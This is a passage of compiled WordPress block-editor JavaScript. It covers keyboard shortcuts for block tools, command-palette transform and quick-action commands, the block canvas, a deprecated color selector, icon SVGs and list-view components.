53000 const { showEmptyBlockSideInserter, showBlockToolbarPopover } = useShowBlockTools();
53001 const pasteStyles = usePasteStyles();
53002 const {
53003 duplicateBlocks,
53004 removeBlocks,
53005 replaceBlocks,
53006 insertAfterBlock,
53007 insertBeforeBlock,
53008 selectBlock,
53009 moveBlocksUp,
53010 moveBlocksDown,
53011 expandBlock,
53012 updateBlockAttributes
53013 } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
53014 function onKeyDown(event) {
53015 if (event.defaultPrevented) {
53016 return;
53017 }
53018 if (isMatch("core/block-editor/move-up", event) || isMatch("core/block-editor/move-down", event)) {
53019 const clientIds = getSelectedBlockClientIds();
53020 if (clientIds.length) {
53021 event.preventDefault();
53022 const rootClientId = getBlockRootClientId(clientIds[0]);
53023 const direction = isMatch("core/block-editor/move-up", event) ? "up" : "down";
53024 if (direction === "up") {
53025 moveBlocksUp(clientIds, rootClientId);
53026 } else {
53027 moveBlocksDown(clientIds, rootClientId);
53028 }
53029 const blockLength = Array.isArray(clientIds) ? clientIds.length : 1;
53030 const message = (0,external_wp_i18n_namespaceObject.sprintf)(
53031 // translators: %d: the name of the block that has been moved
53032 (0,external_wp_i18n_namespaceObject._n)(
53033 "%d block moved.",
53034 "%d blocks moved.",
53035 clientIds.length
53036 ),
53037 blockLength
53038 );
53039 (0,external_wp_a11y_namespaceObject.speak)(message);
53040 }
53041 } else if (isMatch("core/block-editor/duplicate", event)) {
53042 const clientIds = getSelectedBlockClientIds();
53043 if (clientIds.length) {
53044 event.preventDefault();
53045 duplicateBlocks(clientIds);
53046 }
53047 } else if (isMatch("core/block-editor/remove", event)) {
53048 const clientIds = getSelectedBlockClientIds();
53049 if (clientIds.length) {
53050 event.preventDefault();
53051 removeBlocks(clientIds);
53052 }
53053 } else if (isMatch("core/block-editor/paste-styles", event)) {
53054 const clientIds = getSelectedBlockClientIds();
53055 if (clientIds.length) {
53056 event.preventDefault();
53057 const blocks = getBlocksByClientId(clientIds);
53058 pasteStyles(blocks);
53059 }
53060 } else if (isMatch("core/block-editor/insert-after", event)) {
53061 const clientIds = getSelectedBlockClientIds();
53062 if (clientIds.length) {
53063 event.preventDefault();
53064 insertAfterBlock(clientIds[clientIds.length - 1]);
53065 }
53066 } else if (isMatch("core/block-editor/insert-before", event)) {
53067 const clientIds = getSelectedBlockClientIds();
53068 if (clientIds.length) {
53069 event.preventDefault();
53070 insertBeforeBlock(clientIds[0]);
53071 }
53072 } else if (isMatch("core/block-editor/unselect", event)) {
53073 if (event.target.closest("[role=toolbar]")) {
53074 return;
53075 }
53076 const clientIds = getSelectedBlockClientIds();
53077 if (clientIds.length > 1) {
53078 event.preventDefault();
53079 selectBlock(clientIds[0]);
53080 }
53081 } else if (isMatch("core/block-editor/collapse-list-view", event)) {
53082 if ((0,external_wp_dom_namespaceObject.isTextField)(event.target) || (0,external_wp_dom_namespaceObject.isTextField)(
53083 event.target?.contentWindow?.document?.activeElement
53084 )) {
53085 return;
53086 }
53087 event.preventDefault();
53088 expandBlock(clientId);
53089 } else if (isMatch("core/block-editor/group", event)) {
53090 const clientIds = getSelectedBlockClientIds();
53091 if (clientIds.length > 1 && isGroupable(clientIds)) {
53092 event.preventDefault();
53093 const blocks = getBlocksByClientId(clientIds);
53094 const groupingBlockName = getGroupingBlockName();
53095 const newBlocks = (0,external_wp_blocks_namespaceObject.switchToBlockType)(
53096 blocks,
53097 groupingBlockName
53098 );
53099 replaceBlocks(clientIds, newBlocks);
53100 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Selected blocks are grouped."));
53101 }
53102 } else if (isMatch("core/block-editor/toggle-block-visibility", event)) {
53103 const clientIds = getSelectedBlockClientIds();
53104 if (clientIds.length) {
53105 event.preventDefault();
53106 const blocks = getBlocksByClientId(clientIds);
53107 const canToggleBlockVisibility = blocks.every(
53108 (block) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(
53109 getBlockName(block.clientId),
53110 "visibility",
53111 true
53112 )
53113 );
53114 if (!canToggleBlockVisibility) {
53115 return;
53116 }
53117 const hasHiddenBlock = blocks.some(
53118 (block) => block.attributes.metadata?.blockVisibility === false
53119 );
53120 const attributesByClientId = Object.fromEntries(
53121 blocks.map(({ clientId: mapClientId, attributes }) => [
53122 mapClientId,
53123 {
53124 metadata: utils_cleanEmptyObject({
53125 ...attributes?.metadata,
53126 blockVisibility: hasHiddenBlock ? void 0 : false
53127 })
53128 }
53129 ])
53130 );
53131 updateBlockAttributes(clientIds, attributesByClientId, {
53132 uniqueByBlock: true
53133 });
53134 }
53135 }
53136 }
53137 const blockToolbarRef = use_popover_scroll_default(__unstableContentRef);
53138 const blockToolbarAfterRef = use_popover_scroll_default(__unstableContentRef);
53139 return (
53140 // eslint-disable-next-line jsx-a11y/no-static-element-interactions
53141 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53142 "div",
53143 {
53144 ...props,
53145 onKeyDown,
53146 className: dist_clsx(props.className, {
53147 "block-editor-block-tools--is-dragging": isDragging
53148 }),
53149 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(InsertionPointOpenRef.Provider, { value: (0,external_wp_element_namespaceObject.useRef)(false), children: [
53150 !isTyping && !isZoomOutMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53151 InsertionPoint,
53152 {
53153 __unstableContentRef
53154 }
53155 ),
53156 showEmptyBlockSideInserter && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53157 EmptyBlockInserter,
53158 {
53159 __unstableContentRef,
53160 clientId
53161 }
53162 ),
53163 showBlockToolbarPopover && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53164 BlockToolbarPopover,
53165 {
53166 __unstableContentRef,
53167 clientId,
53168 isTyping
53169 }
53170 ),
53171 !isZoomOutMode && !hasFixedToolbar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53172 external_wp_components_namespaceObject.Popover.Slot,
53173 {
53174 name: "block-toolbar",
53175 ref: blockToolbarRef
53176 }
53177 ),
53178 children,
53179 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53180 external_wp_components_namespaceObject.Popover.Slot,
53181 {
53182 name: "__unstable-block-tools-after",
53183 ref: blockToolbarAfterRef
53184 }
53185 ),
53186 isZoomOutMode && !isDragging && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53187 zoom_out_mode_inserters_default,
53188 {
53189 __unstableContentRef
53190 }
53191 )
53192 ] })
53193 }
53194 )
53195 );
53196}
53197
53198
53199;// external ["wp","commands"]
53200const external_wp_commands_namespaceObject = window["wp"]["commands"];
53201;// ./node_modules/@wordpress/icons/build-module/library/ungroup.js
53202
53203
53204var ungroup_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 4h-7c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 9c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7zm-5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h1V9H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-1h-1.5v1z" }) });
53205
53206
53207;// ./node_modules/@wordpress/icons/build-module/library/trash.js
53208
53209
53210var trash_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53211 external_wp_primitives_namespaceObject.Path,
53212 {
53213 fillRule: "evenodd",
53214 clipRule: "evenodd",
53215 d: "M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z"
53216 }
53217) });
53218
53219
53220;// ./node_modules/@wordpress/block-editor/build-module/components/use-block-commands/index.js
53221
53222
53223
53224
53225
53226
53227
53228
53229
53230const getTransformCommands = () => function useTransformCommands() {
53231 const { replaceBlocks, multiSelect } = (0,external_wp_data_namespaceObject.useDispatch)(store);
53232 const {
53233 blocks,
53234 clientIds,
53235 canRemove,
53236 possibleBlockTransformations,
53237 invalidSelection
53238 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
53239 const {
53240 getBlockRootClientId,
53241 getBlockTransformItems,
53242 getSelectedBlockClientIds,
53243 getBlocksByClientId,
53244 canRemoveBlocks
53245 } = select(store);
53246 const selectedBlockClientIds = getSelectedBlockClientIds();
53247 const selectedBlocks = getBlocksByClientId(
53248 selectedBlockClientIds
53249 );
53250 if (selectedBlocks.filter((block) => !block).length > 0) {
53251 return {
53252 invalidSelection: true
53253 };
53254 }
53255 const rootClientId = getBlockRootClientId(
53256 selectedBlockClientIds[0]
53257 );
53258 return {
53259 blocks: selectedBlocks,
53260 clientIds: selectedBlockClientIds,
53261 possibleBlockTransformations: getBlockTransformItems(
53262 selectedBlocks,
53263 rootClientId
53264 ),
53265 canRemove: canRemoveBlocks(selectedBlockClientIds),
53266 invalidSelection: false
53267 };
53268 }, []);
53269 if (invalidSelection) {
53270 return {
53271 isLoading: false,
53272 commands: []
53273 };
53274 }
53275 const isTemplate = blocks.length === 1 && (0,external_wp_blocks_namespaceObject.isTemplatePart)(blocks[0]);
53276 function selectForMultipleBlocks(insertedBlocks) {
53277 if (insertedBlocks.length > 1) {
53278 multiSelect(
53279 insertedBlocks[0].clientId,
53280 insertedBlocks[insertedBlocks.length - 1].clientId
53281 );
53282 }
53283 }
53284 function onBlockTransform(name) {
53285 const newBlocks = (0,external_wp_blocks_namespaceObject.switchToBlockType)(blocks, name);
53286 replaceBlocks(clientIds, newBlocks);
53287 selectForMultipleBlocks(newBlocks);
53288 }
53289 const hasPossibleBlockTransformations = !!possibleBlockTransformations.length && canRemove && !isTemplate;
53290 if (!clientIds || clientIds.length < 1 || !hasPossibleBlockTransformations) {
53291 return { isLoading: false, commands: [] };
53292 }
53293 const commands = possibleBlockTransformations.map(
53294 (transformation) => {
53295 const { name, title, icon } = transformation;
53296 return {
53297 name: "core/block-editor/transform-to-" + name.replace("/", "-"),
53298 /* translators: %s: Block or block variation name. */
53299 label: (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Transform to %s"), title),
53300 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon }),
53301 callback: ({ close }) => {
53302 onBlockTransform(name);
53303 close();
53304 }
53305 };
53306 }
53307 );
53308 return { isLoading: false, commands };
53309};
53310const getQuickActionsCommands = () => function useQuickActionsCommands() {
53311 const { clientIds, isUngroupable, isGroupable } = (0,external_wp_data_namespaceObject.useSelect)(
53312 (select) => {
53313 const {
53314 getSelectedBlockClientIds,
53315 isUngroupable: _isUngroupable,
53316 isGroupable: _isGroupable
53317 } = select(store);
53318 const selectedBlockClientIds = getSelectedBlockClientIds();
53319 return {
53320 clientIds: selectedBlockClientIds,
53321 isUngroupable: _isUngroupable(),
53322 isGroupable: _isGroupable()
53323 };
53324 },
53325 []
53326 );
53327 const {
53328 canInsertBlockType,
53329 getBlockRootClientId,
53330 getBlocksByClientId,
53331 canRemoveBlocks,
53332 getBlockName
53333 } = (0,external_wp_data_namespaceObject.useSelect)(store);
53334 const { getDefaultBlockName, getGroupingBlockName } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
53335 const blocks = getBlocksByClientId(clientIds);
53336 const {
53337 removeBlocks,
53338 replaceBlocks,
53339 duplicateBlocks,
53340 insertAfterBlock,
53341 insertBeforeBlock,
53342 updateBlockAttributes
53343 } = (0,external_wp_data_namespaceObject.useDispatch)(store);
53344 const onGroup = () => {
53345 if (!blocks.length) {
53346 return;
53347 }
53348 const groupingBlockName = getGroupingBlockName();
53349 const newBlocks = (0,external_wp_blocks_namespaceObject.switchToBlockType)(blocks, groupingBlockName);
53350 if (!newBlocks) {
53351 return;
53352 }
53353 replaceBlocks(clientIds, newBlocks);
53354 };
53355 const onUngroup = () => {
53356 if (!blocks.length) {
53357 return;
53358 }
53359 const innerBlocks = blocks[0].innerBlocks;
53360 if (!innerBlocks.length) {
53361 return;
53362 }
53363 replaceBlocks(clientIds, innerBlocks);
53364 };
53365 if (!clientIds || clientIds.length < 1) {
53366 return { isLoading: false, commands: [] };
53367 }
53368 const rootClientId = getBlockRootClientId(clientIds[0]);
53369 const canInsertDefaultBlock = canInsertBlockType(
53370 getDefaultBlockName(),
53371 rootClientId
53372 );
53373 const canDuplicate = blocks.every((block) => {
53374 return !!block && (0,external_wp_blocks_namespaceObject.hasBlockSupport)(block.name, "multiple", true) && canInsertBlockType(block.name, rootClientId);
53375 });
53376 const canRemove = canRemoveBlocks(clientIds);
53377 const canToggleBlockVisibility = blocks.every(
53378 ({ clientId }) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(getBlockName(clientId), "visibility", true)
53379 );
53380 const commands = [];
53381 if (canDuplicate) {
53382 commands.push({
53383 name: "duplicate",
53384 label: (0,external_wp_i18n_namespaceObject.__)("Duplicate"),
53385 callback: () => duplicateBlocks(clientIds, true),
53386 icon: copy_default
53387 });
53388 }
53389 if (canInsertDefaultBlock) {
53390 commands.push(
53391 {
53392 name: "add-before",
53393 label: (0,external_wp_i18n_namespaceObject.__)("Add before"),
53394 callback: () => {
53395 const clientId = Array.isArray(clientIds) ? clientIds[0] : clientId;
53396 insertBeforeBlock(clientId);
53397 },
53398 icon: plus_default
53399 },
53400 {
53401 name: "add-after",
53402 label: (0,external_wp_i18n_namespaceObject.__)("Add after"),
53403 callback: () => {
53404 const clientId = Array.isArray(clientIds) ? clientIds[clientIds.length - 1] : clientId;
53405 insertAfterBlock(clientId);
53406 },
53407 icon: plus_default
53408 }
53409 );
53410 }
53411 if (isGroupable) {
53412 commands.push({
53413 name: "Group",
53414 label: (0,external_wp_i18n_namespaceObject.__)("Group"),
53415 callback: onGroup,
53416 icon: group_group_default
53417 });
53418 }
53419 if (isUngroupable) {
53420 commands.push({
53421 name: "ungroup",
53422 label: (0,external_wp_i18n_namespaceObject.__)("Ungroup"),
53423 callback: onUngroup,
53424 icon: ungroup_default
53425 });
53426 }
53427 if (canRemove) {
53428 commands.push({
53429 name: "remove",
53430 label: (0,external_wp_i18n_namespaceObject.__)("Delete"),
53431 callback: () => removeBlocks(clientIds, true),
53432 icon: trash_default
53433 });
53434 }
53435 if (canToggleBlockVisibility) {
53436 const hasHiddenBlock = blocks.some(
53437 (block) => block.attributes.metadata?.blockVisibility === false
53438 );
53439 commands.push({
53440 name: "core/toggle-block-visibility",
53441 label: hasHiddenBlock ? (0,external_wp_i18n_namespaceObject.__)("Show") : (0,external_wp_i18n_namespaceObject.__)("Hide"),
53442 callback: () => {
53443 const attributesByClientId = Object.fromEntries(
53444 blocks?.map(({ clientId, attributes }) => [
53445 clientId,
53446 {
53447 metadata: utils_cleanEmptyObject({
53448 ...attributes?.metadata,
53449 blockVisibility: hasHiddenBlock ? void 0 : false
53450 })
53451 }
53452 ])
53453 );
53454 updateBlockAttributes(clientIds, attributesByClientId, {
53455 uniqueByBlock: true
53456 });
53457 },
53458 icon: hasHiddenBlock ? seen_default : unseen_default
53459 });
53460 }
53461 return {
53462 isLoading: false,
53463 commands: commands.map((command) => ({
53464 ...command,
53465 name: "core/block-editor/action-" + command.name,
53466 callback: ({ close }) => {
53467 command.callback();
53468 close();
53469 }
53470 }))
53471 };
53472};
53473const useBlockCommands = () => {
53474 (0,external_wp_commands_namespaceObject.useCommandLoader)({
53475 name: "core/block-editor/blockTransforms",
53476 hook: getTransformCommands()
53477 });
53478 (0,external_wp_commands_namespaceObject.useCommandLoader)({
53479 name: "core/block-editor/blockQuickActions",
53480 hook: getQuickActionsCommands(),
53481 context: "block-selection-edit"
53482 });
53483};
53484
53485
53486;// ./node_modules/@wordpress/block-editor/build-module/components/block-canvas/index.js
53487
53488
53489
53490
53491
53492
53493
53494
53495
53496
53497
53498
53499
53500
53501const EDITOR_STYLE_TRANSFORM_OPTIONS = {
53502 // Don't transform selectors that already specify `.editor-styles-wrapper`.
53503 ignoredSelectors: [/\.editor-styles-wrapper/gi]
53504};
53505function ExperimentalBlockCanvas({
53506 shouldIframe = true,
53507 height = "300px",
53508 children = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockList, {}),
53509 styles,
53510 contentRef: contentRefProp,
53511 iframeProps
53512}) {
53513 useBlockCommands();
53514 const isTabletViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
53515 const resetTypingRef = useMouseMoveTypingReset();
53516 const clearerRef = useBlockSelectionClearer();
53517 const localRef = (0,external_wp_element_namespaceObject.useRef)();
53518 const contentRef = (0,external_wp_compose_namespaceObject.useMergeRefs)([contentRefProp, clearerRef, localRef]);
53519 const zoomLevel = (0,external_wp_data_namespaceObject.useSelect)(
53520 (select) => unlock(select(store)).getZoomLevel(),
53521 []
53522 );
53523 const zoomOutIframeProps = zoomLevel !== 100 && !isTabletViewport ? {
53524 scale: zoomLevel,
53525 frameSize: "40px"
53526 } : {};
53527 if (!shouldIframe) {
53528 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
53529 BlockTools,
53530 {
53531 __unstableContentRef: localRef,
53532 style: { height, display: "flex" },
53533 children: [
53534 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53535 editor_styles_default,
53536 {
53537 styles,
53538 scope: ":where(.editor-styles-wrapper)",
53539 transformOptions: EDITOR_STYLE_TRANSFORM_OPTIONS
53540 }
53541 ),
53542 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53543 writing_flow_default,
53544 {
53545 ref: contentRef,
53546 className: "editor-styles-wrapper",
53547 tabIndex: -1,
53548 style: {
53549 height: "100%",
53550 width: "100%"
53551 },
53552 children
53553 }
53554 )
53555 ]
53556 }
53557 );
53558 }
53559 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53560 BlockTools,
53561 {
53562 __unstableContentRef: localRef,
53563 style: { height, display: "flex" },
53564 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
53565 iframe_default,
53566 {
53567 ...iframeProps,
53568 ...zoomOutIframeProps,
53569 ref: resetTypingRef,
53570 contentRef,
53571 style: {
53572 ...iframeProps?.style
53573 },
53574 name: "editor-canvas",
53575 children: [
53576 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_styles_default, { styles }),
53577 children
53578 ]
53579 }
53580 )
53581 }
53582 );
53583}
53584function BlockCanvas({ children, height, styles }) {
53585 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ExperimentalBlockCanvas, { height, styles, children });
53586}
53587var block_canvas_default = BlockCanvas;
53588
53589
53590;// ./node_modules/@wordpress/block-editor/build-module/components/color-style-selector/index.js
53591
53592
53593
53594
53595
53596const ColorSelectorSVGIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 20 20", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M7.434 5l3.18 9.16H8.538l-.692-2.184H4.628l-.705 2.184H2L5.18 5h2.254zm-1.13 1.904h-.115l-1.148 3.593H7.44L6.304 6.904zM14.348 7.006c1.853 0 2.9.876 2.9 2.374v4.78h-1.79v-.914h-.114c-.362.64-1.123 1.022-2.031 1.022-1.346 0-2.292-.826-2.292-2.108 0-1.27.972-2.006 2.71-2.107l1.696-.102V9.38c0-.584-.42-.914-1.18-.914-.667 0-1.112.228-1.264.647h-1.701c.12-1.295 1.307-2.107 3.066-2.107zm1.079 4.1l-1.416.09c-.793.056-1.18.342-1.18.844 0 .52.45.837 1.091.837.857 0 1.505-.545 1.505-1.256v-.515z" }) });
53597const ColorSelectorIcon = ({ style, className }) => {
53598 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-library-colors-selector__icon-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53599 "div",
53600 {
53601 className: `${className} block-library-colors-selector__state-selection`,
53602 style,
53603 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorSelectorSVGIcon, {})
53604 }
53605 ) });
53606};
53607const renderToggleComponent = ({ TextColor, BackgroundColor }) => ({ onToggle, isOpen }) => {
53608 const openOnArrowDown = (event) => {
53609 if (!isOpen && event.keyCode === external_wp_keycodes_namespaceObject.DOWN) {
53610 event.preventDefault();
53611 onToggle();
53612 }
53613 };
53614 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53615 external_wp_components_namespaceObject.ToolbarButton,
53616 {
53617 className: "components-toolbar__control block-library-colors-selector__toggle",
53618 label: (0,external_wp_i18n_namespaceObject.__)("Open Colors Selector"),
53619 onClick: onToggle,
53620 onKeyDown: openOnArrowDown,
53621 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BackgroundColor, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TextColor, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorSelectorIcon, {}) }) })
53622 }
53623 ) });
53624};
53625const BlockColorsStyleSelector = ({ children, ...other }) => {
53626 external_wp_deprecated_default()(`wp.blockEditor.BlockColorsStyleSelector`, {
53627 alternative: "block supports API",
53628 since: "6.1",
53629 version: "6.3"
53630 });
53631 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53632 external_wp_components_namespaceObject.Dropdown,
53633 {
53634 popoverProps: { placement: "bottom-start" },
53635 className: "block-library-colors-selector",
53636 contentClassName: "block-library-colors-selector__popover",
53637 renderToggle: renderToggleComponent(other),
53638 renderContent: () => children
53639 }
53640 );
53641};
53642var color_style_selector_default = BlockColorsStyleSelector;
53643
53644
53645;// ./node_modules/@wordpress/icons/build-module/library/list-view.js
53646
53647
53648var list_view_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z" }) });
53649
53650
53651;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/context.js
53652
53653const ListViewContext = (0,external_wp_element_namespaceObject.createContext)({});
53654ListViewContext.displayName = "ListViewContext";
53655const useListViewContext = () => (0,external_wp_element_namespaceObject.useContext)(ListViewContext);
53656
53657
53658;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/aria-referenced-text.js
53659
53660
53661function AriaReferencedText({ children, ...props }) {
53662 const ref = (0,external_wp_element_namespaceObject.useRef)();
53663 (0,external_wp_element_namespaceObject.useEffect)(() => {
53664 if (ref.current) {
53665 ref.current.textContent = ref.current.textContent;
53666 }
53667 }, [children]);
53668 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { hidden: true, ...props, ref, children });
53669}
53670
53671
53672;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/appender.js
53673
53674
53675
53676
53677
53678
53679
53680
53681
53682
53683
53684
53685const Appender = (0,external_wp_element_namespaceObject.forwardRef)(
53686 ({ nestingLevel, blockCount, clientId, ...props }, ref) => {
53687 const { insertedBlock, setInsertedBlock } = useListViewContext();
53688 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(Appender);
53689 const { directInsert, hideInserter } = (0,external_wp_data_namespaceObject.useSelect)(
53690 (select) => {
53691 const { getBlockListSettings, getTemplateLock, isZoomOut } = unlock(select(store));
53692 const settings = getBlockListSettings(clientId);
53693 const directInsertValue = settings?.directInsert || false;
53694 const hideInserterValue = !!getTemplateLock(clientId) || isZoomOut();
53695 return {
53696 directInsert: directInsertValue,
53697 hideInserter: hideInserterValue
53698 };
53699 },
53700 [clientId]
53701 );
53702 const blockTitle = useBlockDisplayTitle({
53703 clientId,
53704 context: "list-view"
53705 });
53706 const insertedBlockTitle = useBlockDisplayTitle({
53707 clientId: insertedBlock?.clientId,
53708 context: "list-view"
53709 });
53710 (0,external_wp_element_namespaceObject.useEffect)(() => {
53711 if (!insertedBlockTitle?.length) {
53712 return;
53713 }
53714 (0,external_wp_a11y_namespaceObject.speak)(
53715 (0,external_wp_i18n_namespaceObject.sprintf)(
53716 // translators: %s: name of block being inserted (i.e. Paragraph, Image, Group etc)
53717 (0,external_wp_i18n_namespaceObject.__)("%s block inserted"),
53718 insertedBlockTitle
53719 ),
53720 "assertive"
53721 );
53722 }, [insertedBlockTitle]);
53723 if (hideInserter) {
53724 return null;
53725 }
53726 const descriptionId = `list-view-appender__${instanceId}`;
53727 const description = (0,external_wp_i18n_namespaceObject.sprintf)(
53728 /* translators: 1: The name of the block. 2: The numerical position of the block. 3: The level of nesting for the block. */
53729 (0,external_wp_i18n_namespaceObject.__)("Append to %1$s block at position %2$d, Level %3$d"),
53730 blockTitle,
53731 blockCount + 1,
53732 nestingLevel
53733 );
53734 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "list-view-appender", children: [
53735 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53736 inserter_default,
53737 {
53738 ref,
53739 rootClientId: clientId,
53740 position: "bottom right",
53741 isAppender: true,
53742 selectBlockOnInsert: false,
53743 shouldDirectInsert: directInsert,
53744 __experimentalIsQuick: true,
53745 ...props,
53746 toggleProps: { "aria-describedby": descriptionId },
53747 onSelectOrClose: (maybeInsertedBlock) => {
53748 if (maybeInsertedBlock?.clientId) {
53749 setInsertedBlock(maybeInsertedBlock);
53750 }
53751 }
53752 }
53753 ),
53754 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AriaReferencedText, { id: descriptionId, children: description })
53755 ] });
53756 }
53757);
53758
53759
53760;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/leaf.js
53761
53762
53763
53764
53765
53766
53767
53768const AnimatedTreeGridRow = dist_esm_it(external_wp_components_namespaceObject.__experimentalTreeGridRow);
53769const ListViewLeaf = (0,external_wp_element_namespaceObject.forwardRef)(
53770 ({
53771 isDragged,
53772 isSelected,
53773 position,
53774 level,
53775 rowCount,
53776 children,
53777 className,
53778 path,
53779 ...props
53780 }, ref) => {
53781 const animationRef = use_moving_animation_default({
53782 clientId: props["data-block"],
53783 enableAnimation: true,
53784 triggerAnimationOnChange: path
53785 });
53786 const mergedRef = (0,external_wp_compose_namespaceObject.useMergeRefs)([ref, animationRef]);
53787 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53788 AnimatedTreeGridRow,
53789 {
53790 ref: mergedRef,
53791 className: dist_clsx("block-editor-list-view-leaf", className),
53792 level,
53793 positionInSet: position,
53794 setSize: rowCount,
53795 isExpanded: void 0,
53796 ...props,
53797 children
53798 }
53799 );
53800 }
53801);
53802var leaf_default = ListViewLeaf;
53803
53804
53805;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/use-list-view-scroll-into-view.js
53806
53807
53808function useListViewScrollIntoView({
53809 isSelected,
53810 selectedClientIds,
53811 rowItemRef
53812}) {
53813 const isSingleSelection = selectedClientIds.length === 1;
53814 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
53815 if (!isSelected || !isSingleSelection || !rowItemRef.current) {
53816 return;
53817 }
53818 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(rowItemRef.current);
53819 const { ownerDocument } = rowItemRef.current;
53820 const windowScroll = scrollContainer === ownerDocument.body || scrollContainer === ownerDocument.documentElement;
53821 if (windowScroll || !scrollContainer) {
53822 return;
53823 }
53824 const rowRect = rowItemRef.current.getBoundingClientRect();
53825 const scrollContainerRect = scrollContainer.getBoundingClientRect();
53826 if (rowRect.top < scrollContainerRect.top || rowRect.bottom > scrollContainerRect.bottom) {
53827 rowItemRef.current.scrollIntoView();
53828 }
53829 }, [isSelected, isSingleSelection, rowItemRef]);
53830}
53831
53832
53833;// ./node_modules/@wordpress/icons/build-module/library/pin-small.js
53834
53835
